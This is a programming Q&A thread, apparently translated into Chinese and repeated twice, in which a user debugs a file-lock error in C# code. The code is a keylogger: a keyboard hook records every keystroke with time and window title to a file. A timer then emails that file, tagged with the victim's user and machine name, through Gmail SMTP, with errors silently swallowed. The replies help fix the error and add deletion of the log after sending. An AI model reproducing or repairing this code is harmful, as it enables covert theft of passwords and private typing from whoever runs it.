C# System.IO.IOException 发生 HResult=0x80070020
C# System.IO.IOException occurred HResult=0x80070020
我的代码出现新问题,昨晚工作 100%。今天早上它给我带来了问题。 (没有改变)
当我 运行 我的代码将文件发送到 Gmail 时,我得到一个
System.IO.IOException occurred HResult=0x80070020
但是当我注释掉电子邮件的发送(见代码)时它工作正常。我不确定发生了什么。
代码:
public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)
{
try
{
MailMessage mM = new MailMessage();
mM.From = new MailAddress("username@gmail.com");
mM.To.Add("username@gmail.com");
mM.Subject = Environment.UserName + " / " + Environment.MachineName;
mM.Attachments.Add(new Attachment(path));
mM.Body = "Nothing";
mM.IsBodyHtml = true;
SmtpClient sC = new SmtpClient("smtp.gmail.com");
sC.Port = 587;
sC.Credentials = new NetworkCredential("username@gmail.com", "password");
sC.EnableSsl = true;
sC.Send(mM);
}
catch (Exception)
{
}
//File.Delete(path);
}
写入文件的程序的另一部分是
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
int KeyCode = Marshal.ReadInt32(lParam);
using (StreamWriter sw = new StreamWriter(path, true))
{
sw.AutoFlush = true;
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
if (!string.IsNullOrEmpty(active) && active != getTitle())
{
active = getTitle();
sw.WriteLine();
sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " - ");
sw.Write((Keys)KeyCode);
}
else if (string.IsNullOrEmpty(active))
{
active = getTitle();
//sw.WriteLine();
sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " - ");
sw.Write((Keys)KeyCode);
}
else
{
sw.Write((Keys)KeyCode);
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
我认为它不能删除文件,因为它正在使用中。尝试添加 "using" 来处理 MailMessage 对象:
try
{
using(MailMessage mM = new MailMessage())
{
// your code
}
File.Delete(path);
}
catch (Exception)
{
// your code
}
问题已解决,我的计时器设置错误。我假设计时器间隔是秒,而不是毫秒。所以计时器将文件保持为 "busy"。所以代码很好。谢谢大家的帮助。
我的代码出现新问题,昨晚工作 100%。今天早上它给我带来了问题。 (没有改变)
当我 运行 我的代码将文件发送到 Gmail 时,我得到一个
System.IO.IOException occurred HResult=0x80070020
但是当我注释掉电子邮件的发送(见代码)时它工作正常。我不确定发生了什么。
代码:
public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)
{
try
{
MailMessage mM = new MailMessage();
mM.From = new MailAddress("username@gmail.com");
mM.To.Add("username@gmail.com");
mM.Subject = Environment.UserName + " / " + Environment.MachineName;
mM.Attachments.Add(new Attachment(path));
mM.Body = "Nothing";
mM.IsBodyHtml = true;
SmtpClient sC = new SmtpClient("smtp.gmail.com");
sC.Port = 587;
sC.Credentials = new NetworkCredential("username@gmail.com", "password");
sC.EnableSsl = true;
sC.Send(mM);
}
catch (Exception)
{
}
//File.Delete(path);
}
写入文件的程序的另一部分是
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
int KeyCode = Marshal.ReadInt32(lParam);
using (StreamWriter sw = new StreamWriter(path, true))
{
sw.AutoFlush = true;
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
if (!string.IsNullOrEmpty(active) && active != getTitle())
{
active = getTitle();
sw.WriteLine();
sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " - ");
sw.Write((Keys)KeyCode);
}
else if (string.IsNullOrEmpty(active))
{
active = getTitle();
//sw.WriteLine();
sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " - ");
sw.Write((Keys)KeyCode);
}
else
{
sw.Write((Keys)KeyCode);
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
我认为它不能删除文件,因为它正在使用中。尝试添加 "using" 来处理 MailMessage 对象:
try
{
using(MailMessage mM = new MailMessage())
{
// your code
}
File.Delete(path);
}
catch (Exception)
{
// your code
}
问题已解决,我的计时器设置错误。我假设计时器间隔是秒,而不是毫秒。所以计时器将文件保持为 "busy"。所以代码很好。谢谢大家的帮助。